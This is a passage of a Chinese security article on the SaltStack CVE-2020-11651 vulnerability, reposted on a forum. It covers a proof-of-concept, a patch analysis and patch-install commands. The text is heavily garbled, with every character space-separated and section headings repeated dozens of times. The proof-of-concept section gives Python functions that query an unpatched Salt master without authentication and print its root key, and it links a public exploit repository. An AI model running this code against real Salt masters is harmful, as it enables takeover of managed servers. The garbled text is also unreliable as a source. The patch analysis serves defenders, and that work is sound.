t i v e _ l o a d _ k e y s   =   [ ]       k e y   =   N o n e       i f   ' t o k e n '   i n   c l e a r _ l o a d :               a u t h _ t y p e   =   ' t o k e n '               e r r _ n a m e   =   ' T o k e n A u t h e n t i c a t i o n E r r o r '               s e n s i t i v e _ l o a d _ k e y s   =   [ ' t o k e n ' ]       e l i f   ' e a u t h '   i n   c l e a r _ l o a d :               a u t h _ t y p e   =   ' e a u t h '               e r r _ n a m e   =   ' E a u t h A u t h e n t i c a t i o n E r r o r '               s e n s i t i v e _ l o a d _ k e y s   =   [ ' u s e r n a m e ' ,   ' p a s s w o r d ' ]       e l s e :               a u t h _ t y p e   =   ' u s e r '               e r r _ n a m e   =   ' U s e r A u t h e n t i c a t i o n E r r o r '               k e y   =   s e l f . k e y N o . 1 0 N o . 1 0 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 p o c 利 用 利 用 读 取 出 k e y ( 使 用 h t t p s : / / g i t h u b . c o m / d o z e r n z / c v e - 2 0 2 0 - 1 1 6 5 1 )       d e f   p i n g _ m a s t e r ( ) :       p r i n t ( " A t t e m p t i n g   t o   p i n g   m a s t e r   a t   " + m a s t e r _ i p )       t r y :               m s g   =   { " c m d " : " p i n g " }               r e s p o n s e   =   c l e a r _ c h a n n e l . s e n d ( m s g ,   t i m e o u t = 3 )               i f   r e s p o n s e :                       r e t u r n   T r u e       e x c e p t   s a l t . e x c e p t i o n s . S a l t R e q T i m e o u t E r r o r :               r e t u r n   F a l s e       r e t u r n   F a l s e d e f   g e t _ r o o t k e y ( ) :       t r y :               r e s p o n s e   =   c l e a r _ c h a n n e l . s e n d ( { ' c m d ' : ' _ p r e p _ a u t h _ i n f o ' } ,   t i m e o u t = 2 )               f o r   i   i n   r e s p o n s e :                       i f   i s i n s t a n c e ( i , d i c t )   a n d   l e n ( i )   = =   1 :                               r o o t k e y   =   l i s t ( i . v a l u e s ( ) ) [ 0 ]                               p r i n t ( " R e t r i e v e d   r o o t   k e y :   "   +   r o o t k e y )                               r e t u r n   r o o t k e y               r e t u r n   F a l s e                     e x c e p t :               r e t u r n   F a l s e
读 取 r o o t   k e y N o . 1 1 N o . 1 1 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 补 丁 分 析 为 了 修 复 C V E - 2 0 2 0 - 1 1 6 5 1 漏 洞 ， S a l t S t a c k 定 义 了 公 开 的 方 法 ， 用 户 可 以 在 明 文 消 息 中 指 定 这 些 方 法 。 这 是 通 过 一 个 名 为 g e t _ m e t h o d （ ） 的 新 函 数 完 成 。 使 用 新 函 数 g e t _ m e t h o d （ ） 函 数 g e t _ m e t h o d （ ） 检 查 公 开 的 方 法 传 输 方 法 ： p i n g 、 p u b l i s t 、 g e t _ t o k e n 、 m k _ t o k e n 、 w h e e l 、 r u n n e r
N o . 1 2 N o . 1 2 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 安 装 补 丁 p y t h o n   - c   " i m p o r t   i m p ;   p r i n t ( i m p . f i n d _ m o d u l e ( ' s a l t ' ) [ 1 ] ) " p a t c h   - p 2   - d   / u s r / l i b / p y t h o n 2 . 7 / d i s t - p a c k a g e s / s a l t   <   2 0 1 7 . 7 . 8 _ C V E - 2 0 2 0 - 1 1 6 5 1 . p a t c h s y s t e m c t l   r e s t a r t   s a l t - m a s t e r s e r v i c e   s a l t - m a s t e r   r e s t a r t 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 美 国 联 邦 调 查 局 指 控 ： F X M S P 黑 客 组 织 出 售 数 百 家 公 司 网 络 访 问 权 限 朝 鲜 黑 客 组 织 K i m s u k y — — “ 智 囊 团 ” 三 文 鱼 引 发 挪 威 海 鲜 安 全 危 机 ！ I B M 区 块 链 技 术 正 在 帮 助 其 追 溯 源 头 所 有 i P h o n e 设 备 都 可 能 被 解 锁 ！ 黑 客 发 布 新 款 越 狱 软 件 “ U n c 0 v e r ” 征 集   |   2 0 2 0 世 界 信 息 安 全 大 会 议 题 征 集 全 面 开 启 ！ ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理